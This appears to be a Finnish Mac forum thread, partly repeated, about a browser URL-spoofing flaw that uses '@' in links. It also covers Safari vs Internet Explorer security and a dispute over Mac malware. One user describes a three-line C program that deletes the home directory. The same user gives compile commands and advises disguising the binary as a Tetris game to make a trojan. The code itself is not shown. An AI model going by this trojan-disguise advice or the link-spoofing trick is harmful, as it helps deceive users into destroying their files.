Liittyykö tuo selaimen statusbarissa näytettävään osoitteeseen? Mulla ainakin Safari näytti linkin täydellisen osoitteen. Mozilla sensijaan näytti ylemmästä linkistä osoitteeksi vain Googlea.
0Äänestä
MacDonalds
Safari on MACeissa vakiona, aivan kuten Internet Explorer Microsoftin käyttöjärjestelmissä, surkeita ja turvattomia selaimia molemmat, hyvä kun muita selaimia on olemassa.
0Äänestä
Y_H
MacDonalds kirjoitti:
Safari on MACeissa vakiona, aivan kuten Internet Explorer Microsoftin käyttöjärjestelmissä, surkeita ja turvattomia selaimia molemmat, hyvä kun muita selaimia on olemassa.
"Safari on MACeissa vakiona, aivan kuten Internet Explorer Microsoftin käyttöjärjestelmissä, surkeita ja turvattomia selaimia molemmat, hyvä kun muita selaimia on olemassa. "
Niin, vähän samaan tapaan kuin Konqueror KDEssä. Joten voidaan siis vetää johtopäätöksenä että KDE on sukka?
0Äänestä
Repe Ruutikallo
MacDonalds kirjoitti:
Safari on MACeissa vakiona, aivan kuten Internet Explorer Microsoftin käyttöjärjestelmissä, surkeita ja turvattomia selaimia molemmat, hyvä kun muita selaimia on olemassa.
kauheekin kankkunen kun noin sekoilet?
0Äänestä
Jamac
Siis HÖ?
Demonstration sivulla kun klikkasi ylempää "google" linkkiä, Safari alkoi rantapalloilemaan aika pitkäksi aikaa (10s) ja sen päätteeksi tuli ruutuun asennusohjelma ja "Hyväksy Acrobat Readerin käyttösopimus" ????
Eli latasi ja käynnisti jonkin ohjelman????
0Äänestä
Y_H
Mulla selain vaan ilmottaa notta ei ole svg-pluggaria käytössä. Sivulla kun tuntuu olevan kuva moisessa formaatissa.
0Äänestä
vesku
jättiläismäistä shiteä taas voi suiddu!
Kyllä varmaan itkuunsa tukahtuvilla nördendaatioilla tai sellaisten aluilla on hauskaa nakkoessaan tällaisia "älypähkinöitä" maailmalle!
Ko. tiedottamisesta on kulunut jo yli kuukausi, onhan selaimesi jo ajantasalla !!!
kun ei jaksais näille penskoille jatkuvasti uusia sitä uutista, että tällä palstalla keskustellaan Apple Macintosh -merkkisistä TIETOKONEISTA ja niihin liittyvistä asioista. Ei mistään umpihölmöjen purkkaviritysten käyttäjien ongelmantäyteisten laitteiden aiheuttamista hengen- ym. ahdistuksista.
Menkää oikeille palstoille pilailemaan.
0Äänestä
asian voisi sanoa
vesku kirjoitti:
kun ei jaksais näille penskoille jatkuvasti uusia sitä uutista, että tällä palstalla keskustellaan Apple Macintosh -merkkisistä TIETOKONEISTA ja niihin liittyvistä asioista. Ei mistään umpihölmöjen purkkaviritysten käyttäjien ongelmantäyteisten laitteiden aiheuttamista hengen- ym. ahdistuksista.
Menkää oikeille palstoille pilailemaan.
Saman asian voisi sanoa tuolle Repe Ruutikallolle että pysyisi vain täällä nac-palstalla ettei tule noille muille palstoille sekoilemaan / pilailemaan
0Äänestä
Repe Ruutikallo
asian voisi sanoa kirjoitti:
Saman asian voisi sanoa tuolle Repe Ruutikallolle että pysyisi vain täällä nac-palstalla ettei tule noille muille palstoille sekoilemaan / pilailemaan
asian voisi sanoa katsoo itse: en esiinny Windows-palstalla, vaikka aihetta ehkä olisi.
Onko tuo sinun vakionikkisi? Se on hieno! On niin kiva tunnistaa toverit.
Tuo teidän Win-parkojen kateus huolettomien Mac-käyttäjien suuntaan on aika hurjaa. Katoaako totuus, jos siitä vaietaan?
0Äänestä
outoa
vesku kirjoitti:
kun ei jaksais näille penskoille jatkuvasti uusia sitä uutista, että tällä palstalla keskustellaan Apple Macintosh -merkkisistä TIETOKONEISTA ja niihin liittyvistä asioista. Ei mistään umpihölmöjen purkkaviritysten käyttäjien ongelmantäyteisten laitteiden aiheuttamista hengen- ym. ahdistuksista.
Menkää oikeille palstoille pilailemaan.
sama aukko on myös Macin oletus selaimessa, ja siitä pitäisi mennä puhumaan Windows palstalle ?
0Äänestä
eskofot
outoa kirjoitti:
sama aukko on myös Macin oletus selaimessa, ja siitä pitäisi mennä puhumaan Windows palstalle ?
...mistä päättelet että asia on niinkuin väität?
0Äänestä
outoa
eskofot kirjoitti:
...mistä päättelet että asia on niinkuin väität?
Ketjun alussa on linkki, joten voit itse testata.
0Äänestä
tks
outoa kirjoitti:
Ketjun alussa on linkki, joten voit itse testata.
Onko niiden linkkien tarkoitus viedä samalle sivulle vai ei. Omalla Safarilla menee ainakin samalle.
0Äänestä
Y_H
tks kirjoitti:
Onko niiden linkkien tarkoitus viedä samalle sivulle vai ei. Omalla Safarilla menee ainakin samalle.
Tuon on tarkoitus demota Mozillan ja WinIEn bugia. Ainakin Firebird näytti ylemmän linkin osoitteeksi(statusbarissa) pelkän http://www.google.com/. Ainakaan tässä Pantherin Safarissa tuo ei toiminut. Jaguar ja Safari 1.0, anyone?
0Äänestä
Repe Ruutikallo
outoa kirjoitti:
Ketjun alussa on linkki, joten voit itse testata.
ja kummastakin "googlesta" sivusto aukeaa Safarilla (v.100.1) kuten varmaan pitääkin. Niin että mikä tässä on Mac-osaston suuntaan se kitinän aihe?
0Äänestä
aukea
Repe Ruutikallo kirjoitti:
ja kummastakin "googlesta" sivusto aukeaa Safarilla (v.100.1) kuten varmaan pitääkin. Niin että mikä tässä on Mac-osaston suuntaan se kitinän aihe?
Safarilla. Missä vika ? Asetuksissa ?
0Äänestä
Repe Ruutikallo
aukea kirjoitti:
Safarilla. Missä vika ? Asetuksissa ?
Panther ja sama Safarin versio? Lisäksi mulla oli ponnahdusikkunoiden poisto pois päältä, vaikka ei sen pitäisi tähän vaikuttaa.
0Äänestä
n00b
Repe Ruutikallo kirjoitti:
ja kummastakin "googlesta" sivusto aukeaa Safarilla (v.100.1) kuten varmaan pitääkin. Niin että mikä tässä on Mac-osaston suuntaan se kitinän aihe?
Jaguarin päälle asennettu Panther kaikki päivitykset, ja tänään asensin Pantherin tyhjälle osiolle, mutta sama bugi edelleen, googlen sijaan tulee joku: I'll go and play with words and pictures sivu.
0Äänestä
Repe Ruutikallo
n00b kirjoitti:
Jaguarin päälle asennettu Panther kaikki päivitykset, ja tänään asensin Pantherin tyhjälle osiolle, mutta sama bugi edelleen, googlen sijaan tulee joku: I'll go and play with words and pictures sivu.
pitäiskö noista "Googleista" päästäkin Googleen? Jos niin miksi, kun Google-hakuikkuna on Safarissa valmiina? Olenkohan pudonnut näiltä kärryiltä ainakin osa-aikaisesti...
0Äänestä
samsa
Repe Ruutikallo kirjoitti:
pitäiskö noista "Googleista" päästäkin Googleen? Jos niin miksi, kun Google-hakuikkuna on Safarissa valmiina? Olenkohan pudonnut näiltä kärryiltä ainakin osa-aikaisesti...
..pitää päästä juuri googlen sivulle, siinä se pointti. Lue se bugiilmoitus.
Mitä jos alat maksamaan verkkokauppassa jonka osoiterivillä lukee www.applestore.com, mutta todellisuudessa olet hakkerin sivulla, joka vain näyttää applen verkkokaupalta.
0Äänestä
nah
samsa kirjoitti:
..pitää päästä juuri googlen sivulle, siinä se pointti. Lue se bugiilmoitus.
Mitä jos alat maksamaan verkkokauppassa jonka osoiterivillä lukee www.applestore.com, mutta todellisuudessa olet hakkerin sivulla, joka vain näyttää applen verkkokaupalta.
siis RFC standardien mukaisesti käyttäjätunnuksen voi ilmoittaa URL rivillä tyyliin [email protected] ja käyttäjätunnuksen sekä salasanan tyyliin olen:[email protected]
Jos siis näet selaimessa @ merkin osoite rivillä, palvelimen osoite jossa olet on @ merkin OIKEALLA puolella.
Tämä on noin kolmesataa vuotta sitten tiedostettu huonosti suunniteltu RFC standardi.
Lisäksi noilla @merkin edessä olevilla 00, 00? yms merkinnöillä voidaan ajaa scriptejä jos joku perkeleen idiootti pitää scriptejä päällä selaimessaan, yleisesti otettuna kaikista heikoimmat suojaukset löytyvät internet exploder selaimesta, toki kun lataat siihen 278 megaa päivityksiä voit olla viikon ajan samalla tietoturvatasolla kuin macin selainten kanssa kunnes seuraavalla viikolla on löytynyt x00 uutta bugia ja nämä surkuturvat on hetken hiljaa.
kommenttina vielä >Mitä jos alat maksamaan verkkokauppassa jonka >osoiterivillä lukee www.applestore.com, mutta >todellisuudessa olet hakkerin sivulla, joka vain näyttää >applen verkkokaupalta.
Jos todellakin jätät linkin katsomatta verkkokaupassa ja et edes tarkista allekirjoitus sertifikaattia tehdessäsi ostoksia netin kautta, tee itsellesi ja vanhemmillesi palvelus ja kytke se verkkopiuha irti seinästä.
Käyttöjärjestelmiä löytyy hyviä, huonoja, helppoja ja hyviä, mutta idioottivarmaa ei ole tehty, valitan.
0Äänestä
samsa
nah kirjoitti:
siis RFC standardien mukaisesti käyttäjätunnuksen voi ilmoittaa URL rivillä tyyliin [email protected] ja käyttäjätunnuksen sekä salasanan tyyliin olen:[email protected]
Jos siis näet selaimessa @ merkin osoite rivillä, palvelimen osoite jossa olet on @ merkin OIKEALLA puolella.
Tämä on noin kolmesataa vuotta sitten tiedostettu huonosti suunniteltu RFC standardi.
Lisäksi noilla @merkin edessä olevilla 00, 00? yms merkinnöillä voidaan ajaa scriptejä jos joku perkeleen idiootti pitää scriptejä päällä selaimessaan, yleisesti otettuna kaikista heikoimmat suojaukset löytyvät internet exploder selaimesta, toki kun lataat siihen 278 megaa päivityksiä voit olla viikon ajan samalla tietoturvatasolla kuin macin selainten kanssa kunnes seuraavalla viikolla on löytynyt x00 uutta bugia ja nämä surkuturvat on hetken hiljaa.
kommenttina vielä >Mitä jos alat maksamaan verkkokauppassa jonka >osoiterivillä lukee www.applestore.com, mutta >todellisuudessa olet hakkerin sivulla, joka vain näyttää >applen verkkokaupalta.
Jos todellakin jätät linkin katsomatta verkkokaupassa ja et edes tarkista allekirjoitus sertifikaattia tehdessäsi ostoksia netin kautta, tee itsellesi ja vanhemmillesi palvelus ja kytke se verkkopiuha irti seinästä.
Käyttöjärjestelmiä löytyy hyviä, huonoja, helppoja ja hyviä, mutta idioottivarmaa ei ole tehty, valitan.
Jos asia ei olisi vakava niin siitä ei syntyisi niin paljon melua, mutta kun se on.
PS: ja aialla ei ole mitään tekemistä RFS standardien kanssa.
PS2: sinun se pitäisi kytkeä se verkkopiuha irti seinästä, kun et ymmärrä mitä tämän aukon avulla voi tehdä. Mitään sertefikaatteja ei ole sivulla kun imuroit vaikka jonkun ohjelma, linkki näyttää että se on luotettavalla palvelimella, mutta kun avaat se, se poistaa kaikki sun tiedostot.
0Äänestä
nah
samsa kirjoitti:
Jos asia ei olisi vakava niin siitä ei syntyisi niin paljon melua, mutta kun se on.
PS: ja aialla ei ole mitään tekemistä RFS standardien kanssa.
PS2: sinun se pitäisi kytkeä se verkkopiuha irti seinästä, kun et ymmärrä mitä tämän aukon avulla voi tehdä. Mitään sertefikaatteja ei ole sivulla kun imuroit vaikka jonkun ohjelma, linkki näyttää että se on luotettavalla palvelimella, mutta kun avaat se, se poistaa kaikki sun tiedostot.
*** Jos asia ei olisi vakava niin siitä ei syntyisi niin paljon melua, mutta kun se on. *** Älämölöä ja jutun puutetta
** Kiva tietää miten huomat mitä lukee osoiterivin lopussa, kun se ei mahdu edes ruudulle http://store.apple.com/Apple/WebObjects/fistore.woa/904 05/wo/5v2lYfne7DIx3ydGSedasdfh1lxplcP1/1.0.7.2.0.5.3/90 405/wo/5v2lYfne7Dfds33wedadeIx3P1/3.0.7.1.0.3.12.0.0.0. 0.3.1.0.0.0 ** siis sen osoiterivin voi lukea siitä http:// alkaen ensimäiseen / merkkiin asti.
** PS: ja aialla ei ole mitään tekemistä RFS standardien kanssa. ** johan pomppas, kyllä muuten on tuo ominaisuus määritelty RFC:ssä, äläs puhu jollet viitsi tarkistaa.
** PS2: sinun se pitäisi kytkeä se verkkopiuha irti seinästä, kun et ymmärrä mitä tämän aukon avulla voi tehdä. Mitään sertefikaatteja ei ole sivulla kun imuroit vaikka jonkun ohjelma, linkki näyttää että se on luotettavalla palvelimella, mutta kun avaat se, se poistaa kaikki sun tiedostot. ** Siis jollei ole sertifikaattia SE EI OLE LUOTETTAVA PAIKKA ESIM. OSTOKSILLE JA LATAUKSILLE, huoh, kerrataas vielä: sen lisäksi että: viallinen sertifikaatti on huono juttu viallinen sertifikaatti on huono juttu viallinen sertifikaatti on huono juttu viallinen sertifikaatti on huono juttu viallinen sertifikaatti on huono juttu viallinen sertifikaatti on huono juttu niin myös: sertifikaatin puuttuminen on huono juttu sertifikaatin puuttuminen on huono juttu sertifikaatin puuttuminen on huono juttu sertifikaatin puuttuminen on huono juttu sertifikaatin puuttuminen on huono juttu sertifikaatin puuttuminen on huono juttu
kyse ei ollut vittuilusta, vain viimeinen lainaus oli vertaus omaan postaukseesi mutta ole hyvä vain.
0Äänestä
samsa
nah kirjoitti:
*** Jos asia ei olisi vakava niin siitä ei syntyisi niin paljon melua, mutta kun se on. *** Älämölöä ja jutun puutetta
** Kiva tietää miten huomat mitä lukee osoiterivin lopussa, kun se ei mahdu edes ruudulle http://store.apple.com/Apple/WebObjects/fistore.woa/904 05/wo/5v2lYfne7DIx3ydGSedasdfh1lxplcP1/1.0.7.2.0.5.3/90 405/wo/5v2lYfne7Dfds33wedadeIx3P1/3.0.7.1.0.3.12.0.0.0. 0.3.1.0.0.0 ** siis sen osoiterivin voi lukea siitä http:// alkaen ensimäiseen / merkkiin asti.
** PS: ja aialla ei ole mitään tekemistä RFS standardien kanssa. ** johan pomppas, kyllä muuten on tuo ominaisuus määritelty RFC:ssä, äläs puhu jollet viitsi tarkistaa.
** PS2: sinun se pitäisi kytkeä se verkkopiuha irti seinästä, kun et ymmärrä mitä tämän aukon avulla voi tehdä. Mitään sertefikaatteja ei ole sivulla kun imuroit vaikka jonkun ohjelma, linkki näyttää että se on luotettavalla palvelimella, mutta kun avaat se, se poistaa kaikki sun tiedostot. ** Siis jollei ole sertifikaattia SE EI OLE LUOTETTAVA PAIKKA ESIM. OSTOKSILLE JA LATAUKSILLE, huoh, kerrataas vielä: sen lisäksi että: viallinen sertifikaatti on huono juttu viallinen sertifikaatti on huono juttu viallinen sertifikaatti on huono juttu viallinen sertifikaatti on huono juttu viallinen sertifikaatti on huono juttu viallinen sertifikaatti on huono juttu niin myös: sertifikaatin puuttuminen on huono juttu sertifikaatin puuttuminen on huono juttu sertifikaatin puuttuminen on huono juttu sertifikaatin puuttuminen on huono juttu sertifikaatin puuttuminen on huono juttu sertifikaatin puuttuminen on huono juttu
kyse ei ollut vittuilusta, vain viimeinen lainaus oli vertaus omaan postaukseesi mutta ole hyvä vain.
Kuinka monella softasivulla on ssl suojattu yhteys ja sertifikaatti? Onko edes Applella? Tuskin.
eihän nuo sun linkit edes aukea?
0Äänestä
samsa
nah kirjoitti:
kyllä todella huomaa tuskin kukaan tulee erehtyneeksi osoitteessa / merkkiä \ merkiksi?
Viruksia ihmeset eivät huoma luulevat että liittenä tuntemattomasta osoittesta tullut sexybaby.jpg.exe on kuva, mutta yhden merkin osoiterivillä minne kukaan koskaan ei katso he huomaavat. Jos kaikki olisivat sellaisia tietoturvaexperteja kuin sinä, niin yksikää virus tai troijalainen ei tartuisi.
0Äänestä
samsa
heips kirjoitti:
eihän nuo sun linkit edes aukea?
- Avaa linkki uudessa ikkunassa / avaa linkki uudessa välilehdessä
0Äänestä
heips
samsa kirjoitti:
- Avaa linkki uudessa ikkunassa / avaa linkki uudessa välilehdessä
sorry mut ei aukee ei, ei safarilla, ei mozillalla exploreria ei mulla taida ollakkaan
0Äänestä
nah
samsa kirjoitti:
Viruksia ihmeset eivät huoma luulevat että liittenä tuntemattomasta osoittesta tullut sexybaby.jpg.exe on kuva, mutta yhden merkin osoiterivillä minne kukaan koskaan ei katso he huomaavat. Jos kaikki olisivat sellaisia tietoturvaexperteja kuin sinä, niin yksikää virus tai troijalainen ei tartuisi.
Kiitoksia.
Mielestäni nykyisin internetin turvallisen käytön opastus kuuluisi vanhemmille, jos vanhemmat eivät osaa, olisi heidän syytä hankkia edes yhden pelin hinnalla kirjanen jossa opetetaan alkeet tietoturvasta.
Itse kun en ole istunut koulun penkillä pitkään aikaan, mites internetin turvallisuudesta valistetaan kouluissa?
0Äänestä
heips
heips kirjoitti:
sorry mut ei aukee ei, ei safarilla, ei mozillalla exploreria ei mulla taida ollakkaan
Soriiii
aukes se explorerilla, en mielestäni tähän koneeseen ole itse asentanut exploreria, mistähän tämä on tullut? koneessa on salasana suoja päällä eli kenenkään ei pitäisi päästä luvatta koneelleni.
tämä on vuodenvaihteen paikkeilla hankitto iMac 15" suomenkielisellä käyttiksellä.
Poistin tuon explorerin heti laitoin sen roskakoriin ja tyhjensin sen välittömästi, pitääkö minun poistaa jotain muutakin päästäkseni siitä eroon?
0Äänestä
Repe Ruutikallo
samsa kirjoitti:
Jos asia ei olisi vakava niin siitä ei syntyisi niin paljon melua, mutta kun se on.
PS: ja aialla ei ole mitään tekemistä RFS standardien kanssa.
PS2: sinun se pitäisi kytkeä se verkkopiuha irti seinästä, kun et ymmärrä mitä tämän aukon avulla voi tehdä. Mitään sertefikaatteja ei ole sivulla kun imuroit vaikka jonkun ohjelma, linkki näyttää että se on luotettavalla palvelimella, mutta kun avaat se, se poistaa kaikki sun tiedostot.
>kun imuroit vaikka jonkun ohjelma, linkki näyttää että se on luotettavalla palvelimella, mutta kun avaat se, se poistaa kaikki sun tiedostot.
OS X:lle ei ole ainuttakaan pöpöä joka pystyisi poistamaan tiedostojani. Nauti sinä ihan rauhassa Win-ihanuuksistasi, meikäläisiä on turha odottaa sen tarjoilun äärelle...
0Äänestä
Repe Ruutikallo
Repe Ruutikallo kirjoitti:
>kun imuroit vaikka jonkun ohjelma, linkki näyttää että se on luotettavalla palvelimella, mutta kun avaat se, se poistaa kaikki sun tiedostot.
OS X:lle ei ole ainuttakaan pöpöä joka pystyisi poistamaan tiedostojani. Nauti sinä ihan rauhassa Win-ihanuuksistasi, meikäläisiä on turha odottaa sen tarjoilun äärelle...
IE:n poistaminen on ihan turhaa. Macin IE on täysin eri ohjelma kuin Winskeidan IE. On sivuja, jotka eivät aukea Macissa juuri millään muulla selaimella kuin IE:llä. Ei ole käynyt mielessäkään, että sen poistaisin.
0Äänestä
kyllä
heips kirjoitti:
sorry mut ei aukee ei, ei safarilla, ei mozillalla exploreria ei mulla taida ollakkaan
Ainakin Pantherin Safarissa on tuo bugi, Jaguarista en tiedä.
0Äänestä
outoa
Repe Ruutikallo kirjoitti:
>kun imuroit vaikka jonkun ohjelma, linkki näyttää että se on luotettavalla palvelimella, mutta kun avaat se, se poistaa kaikki sun tiedostot.
OS X:lle ei ole ainuttakaan pöpöä joka pystyisi poistamaan tiedostojani. Nauti sinä ihan rauhassa Win-ihanuuksistasi, meikäläisiä on turha odottaa sen tarjoilun äärelle...
LOL, ei ole != että et ole törmännyt sellaiseen.
Onpas vaikea tehdä, kolme riviä koodia, jopa minulla sen tekemiseen meni kokonaiset 10 sekuntia. Joten nyt on, en tietenkään aijo sitä levittää, mutta turha on sanoa ettei sellaista olisi olemassa, koska jokainen joka osaa ohjelmoinnin alkeet pystyy tekemään sellaisen.
0Äänestä
Repe Ruutikallo
outoa kirjoitti:
LOL, ei ole != että et ole törmännyt sellaiseen.
Onpas vaikea tehdä, kolme riviä koodia, jopa minulla sen tekemiseen meni kokonaiset 10 sekuntia. Joten nyt on, en tietenkään aijo sitä levittää, mutta turha on sanoa ettei sellaista olisi olemassa, koska jokainen joka osaa ohjelmoinnin alkeet pystyy tekemään sellaisen.
olevansa mies eikä paskanjauhaja ja lähettää sen tänne heti:
Odotan kovasti pääseväni testailemaan! Luonnollisesti vapautan sinut kaikesta seuraamusvastuusta! Kiitos kiitos kiitos!
0Äänestä
vesku
outoa kirjoitti:
LOL, ei ole != että et ole törmännyt sellaiseen.
Onpas vaikea tehdä, kolme riviä koodia, jopa minulla sen tekemiseen meni kokonaiset 10 sekuntia. Joten nyt on, en tietenkään aijo sitä levittää, mutta turha on sanoa ettei sellaista olisi olemassa, koska jokainen joka osaa ohjelmoinnin alkeet pystyy tekemään sellaisen.
Tuosta saat varmaan noopelin palkinnon!
Se että sinä väkerrät sellaisen omalle koneellesi, ei tee siitä vähimmässäkään määrin uhkaa muiden koneille! Jos tietäisit vähääkään OSX:n toiminnasta tietäisit mitä tarkoitan (tarkoitamme).
Aika kauas tämä keskustelu on alkuperäisestä mennyt. Yhä olen sitä mieltä, ettei näillä (vanhoilla ja tunnetuilla) ongelmilla joissain selaimissa (tai siis lähinnä käyttäjien huolimattomuudessa) ole sen kummemmin tekemistä Macien kanssa.
0Äänestä
outoa
Repe Ruutikallo kirjoitti:
olevansa mies eikä paskanjauhaja ja lähettää sen tänne heti:
Ehkä riittäisi kaksikin riviä koodia, mutta osaan vain C:n alkeen, joten pelasin varman päälle. Ohjelma testattu ja todettu toimivaksi.
Käänösohjeet: Kirjoita nämä kolme riviä tekstitiedostoon, esim. ohjelma.c (siis tavallinen tekstitiedosto ei mikään AppleWorks tai MS Word tiedosto)
Ohjelma käännetään käskyllä: # gcc ohjelma.c
ja käynnistetään käskyllä: # ./a.out
VAROITUS ohjelma poistaa kaikki tiedostot kotihakemistostasi !!!
Voi hyvä ihme. Kuka hullu tuollaista lähtee ajamaan? Tee ohjelmasta sellainen että siitä on jotakin vaaraa OS X:ssä, eli että se joko käynnistää itse itsensä tai sitten minä käynnistän sen luullen sitä joksikin muuksi. Kyllähän mä sen tiedän että tuhoava ohjelmanpätkä syntyy helposti, mutta sehän on vasta projektin alku. Loppu on paljon vaikeampi ellei mahdoton, minkä viattomasti päättelen siitä että sitä ei ole toteutettu.
0Äänestä
outoa
Repe Ruutikallo kirjoitti:
Voi hyvä ihme. Kuka hullu tuollaista lähtee ajamaan? Tee ohjelmasta sellainen että siitä on jotakin vaaraa OS X:ssä, eli että se joko käynnistää itse itsensä tai sitten minä käynnistän sen luullen sitä joksikin muuksi. Kyllähän mä sen tiedän että tuhoava ohjelmanpätkä syntyy helposti, mutta sehän on vasta projektin alku. Loppu on paljon vaikeampi ellei mahdoton, minkä viattomasti päättelen siitä että sitä ei ole toteutettu.
Nimeä ohjelma vaikka tetris peliksi, kirjoita sellaiset readme.txt ja install.txt tiedostot niin kuin oikeissa ohjelmissa, tee paketti, ja siinä sulle valmis troijalainen, riittää kuin käyttää klikka sitä.
Ja mitä siinä on mahdotonta? Laitonta ehkä, mutta tosi helppoa ja mahdollista.
0Äänestä
Repe Ruutikallo
vesku kirjoitti:
Tuosta saat varmaan noopelin palkinnon!
Se että sinä väkerrät sellaisen omalle koneellesi, ei tee siitä vähimmässäkään määrin uhkaa muiden koneille! Jos tietäisit vähääkään OSX:n toiminnasta tietäisit mitä tarkoitan (tarkoitamme).
Aika kauas tämä keskustelu on alkuperäisestä mennyt. Yhä olen sitä mieltä, ettei näillä (vanhoilla ja tunnetuilla) ongelmilla joissain selaimissa (tai siis lähinnä käyttäjien huolimattomuudessa) ole sen kummemmin tekemistä Macien kanssa.
Ei ole ihme että Macille ei ole troijalaisia, jos ne pitää jokaisen tehdä itse.
Jos nyt edes tekisit hommasi loppuun ja lähettäisit mulle tetriksen, jooko?
0Äänestä
outoa
Repe Ruutikallo kirjoitti:
Ei ole ihme että Macille ei ole troijalaisia, jos ne pitää jokaisen tehdä itse.
Jos nyt edes tekisit hommasi loppuun ja lähettäisit mulle tetriksen, jooko?
että rikokseen yllyttäminen on myös rikos?
Viruksien ja troijalaisien tekeminen ei ole laitonta mutta levittäminen on. Joten saat tehdä tetriksesi itse.
kun olet kääntänyt ohjelman nimeä se uudelleen käskyllä: # mv ./a.out ./tetris
nyt sinulla on tetris-niminen ohjelmabinääri, loput riippuu mielikuvituksestasi.
0Äänestä
Odottaa vastausta
Näihin keskusteluihin ei ole vielä vastattu. Ole ensimmäinen.
Vastaukset 45
Vanhimmat
Liittyykö tuo selaimen statusbarissa näytettävään osoitteeseen? Mulla ainakin Safari näytti linkin täydellisen osoitteen. Mozilla sensijaan näytti ylemmästä linkistä osoitteeksi vain Googlea.
Safari on MACeissa vakiona, aivan kuten Internet Explorer Microsoftin käyttöjärjestelmissä, surkeita ja turvattomia selaimia molemmat, hyvä kun muita selaimia on olemassa.
"Safari on MACeissa vakiona, aivan kuten Internet Explorer Microsoftin käyttöjärjestelmissä, surkeita ja turvattomia selaimia molemmat, hyvä kun muita selaimia on olemassa. "
Niin, vähän samaan tapaan kuin Konqueror KDEssä. Joten voidaan siis vetää johtopäätöksenä että KDE on sukka?
kauheekin kankkunen kun noin sekoilet?
Siis HÖ?
Demonstration sivulla kun klikkasi ylempää "google" linkkiä, Safari alkoi rantapalloilemaan aika pitkäksi aikaa (10s) ja sen päätteeksi tuli ruutuun asennusohjelma ja "Hyväksy Acrobat Readerin käyttösopimus" ????
Eli latasi ja käynnisti jonkin ohjelman????
Mulla selain vaan ilmottaa notta ei ole svg-pluggaria käytössä. Sivulla kun tuntuu olevan kuva moisessa formaatissa.
jättiläismäistä shiteä taas voi suiddu!
Kyllä varmaan itkuunsa tukahtuvilla nördendaatioilla tai sellaisten aluilla on hauskaa nakkoessaan tällaisia "älypähkinöitä" maailmalle!
IE:ssa se ei ole shiteä, mutta Safarissa on?
Tietoa haavoittuvuudesta:
http://www.mbnet.fi/jutut/uutiset/index.asp?Uutinen=1287
Lisää:
http://www.itviikko.fi/uutiset/uutinen.asp?UutisID=58586
Ko. tiedottamisesta on kulunut jo yli kuukausi, onhan selaimesi jo ajantasalla !!!
kuules outoa, parempi että et tee itseäsi naurettavammaksi enään, mene windows osiolle mie:n kanssa itkemään huonoa selaintasi :)
Ensikerralla tutkipa asia ennen kun rupeat yrittämään hoaxia.
kun ei jaksais näille penskoille jatkuvasti uusia sitä uutista, että tällä palstalla keskustellaan Apple Macintosh -merkkisistä TIETOKONEISTA ja niihin liittyvistä asioista. Ei mistään umpihölmöjen purkkaviritysten käyttäjien ongelmantäyteisten laitteiden aiheuttamista hengen- ym. ahdistuksista.
Menkää oikeille palstoille pilailemaan.
Saman asian voisi sanoa tuolle Repe Ruutikallolle että pysyisi vain täällä nac-palstalla ettei tule noille muille palstoille sekoilemaan / pilailemaan
asian voisi sanoa katsoo itse: en esiinny Windows-palstalla, vaikka aihetta ehkä olisi.
Onko tuo sinun vakionikkisi? Se on hieno! On niin kiva tunnistaa toverit.
Tuo teidän Win-parkojen kateus huolettomien Mac-käyttäjien suuntaan on aika hurjaa. Katoaako totuus, jos siitä vaietaan?
sama aukko on myös Macin oletus selaimessa, ja siitä pitäisi mennä puhumaan Windows palstalle ?
...mistä päättelet että asia on niinkuin väität?
Ketjun alussa on linkki, joten voit itse testata.
Onko niiden linkkien tarkoitus viedä samalle sivulle vai ei.
Omalla Safarilla menee ainakin samalle.
Tuon on tarkoitus demota Mozillan ja WinIEn bugia. Ainakin Firebird näytti ylemmän linkin osoitteeksi(statusbarissa) pelkän http://www.google.com/. Ainakaan tässä Pantherin Safarissa tuo ei toiminut. Jaguar ja Safari 1.0, anyone?
ja kummastakin "googlesta" sivusto aukeaa Safarilla (v.100.1) kuten varmaan pitääkin. Niin että mikä tässä on Mac-osaston suuntaan se kitinän aihe?
Safarilla.
Missä vika ?
Asetuksissa ?
Panther ja sama Safarin versio? Lisäksi mulla oli ponnahdusikkunoiden poisto pois päältä, vaikka ei sen pitäisi tähän vaikuttaa.
Jaguarin päälle asennettu Panther kaikki päivitykset,
ja tänään asensin Pantherin tyhjälle osiolle, mutta sama bugi edelleen, googlen sijaan tulee joku: I'll go and play with words and pictures sivu.
pitäiskö noista "Googleista" päästäkin Googleen? Jos niin miksi, kun Google-hakuikkuna on Safarissa valmiina? Olenkohan pudonnut näiltä kärryiltä ainakin osa-aikaisesti...
..pitää päästä juuri googlen sivulle, siinä se pointti. Lue se bugiilmoitus.
Mitä jos alat maksamaan verkkokauppassa jonka osoiterivillä lukee www.applestore.com, mutta todellisuudessa olet hakkerin sivulla, joka vain näyttää applen verkkokaupalta.
siis RFC standardien mukaisesti käyttäjätunnuksen voi ilmoittaa URL rivillä tyyliin
[email protected]
ja käyttäjätunnuksen sekä salasanan tyyliin
olen:[email protected]
Jos siis näet selaimessa @ merkin osoite rivillä, palvelimen osoite jossa olet on @ merkin OIKEALLA puolella.
Tämä on noin kolmesataa vuotta sitten tiedostettu huonosti suunniteltu RFC standardi.
Lisäksi noilla @merkin edessä olevilla 00, 00? yms merkinnöillä voidaan ajaa scriptejä jos joku perkeleen idiootti pitää scriptejä päällä selaimessaan, yleisesti otettuna kaikista heikoimmat suojaukset löytyvät internet exploder selaimesta, toki kun lataat siihen 278 megaa päivityksiä voit olla viikon ajan samalla tietoturvatasolla kuin macin selainten kanssa kunnes seuraavalla viikolla on löytynyt x00 uutta bugia ja nämä surkuturvat on hetken hiljaa.
kommenttina vielä
>Mitä jos alat maksamaan verkkokauppassa jonka
>osoiterivillä lukee www.applestore.com, mutta
>todellisuudessa olet hakkerin sivulla, joka vain näyttää
>applen verkkokaupalta.
Jos todellakin jätät linkin katsomatta verkkokaupassa ja et edes tarkista allekirjoitus sertifikaattia tehdessäsi ostoksia netin kautta, tee itsellesi ja vanhemmillesi palvelus ja kytke se verkkopiuha irti seinästä.
Käyttöjärjestelmiä löytyy hyviä, huonoja, helppoja ja hyviä, mutta idioottivarmaa ei ole tehty, valitan.
Jos asia ei olisi vakava niin siitä ei syntyisi niin paljon melua, mutta kun se on.
Kiva tietää miten huomat mitä lukee osoiterivin lopussa, kun se ei mahdu edes ruudulle http://store.apple.com/Apple/WebObjects/fistore.woa/90405/wo/5v2lYfne7DIx3ydGSedasdfh1lxplcP1/1.0.7.2.0.5.3/90405/wo/5v2lYfne7Dfds33wedadeIx3P1/3.0.7.1.0.3.12.0.0.0.0.3.1.0.0.0
PS: ja aialla ei ole mitään tekemistä RFS standardien kanssa.
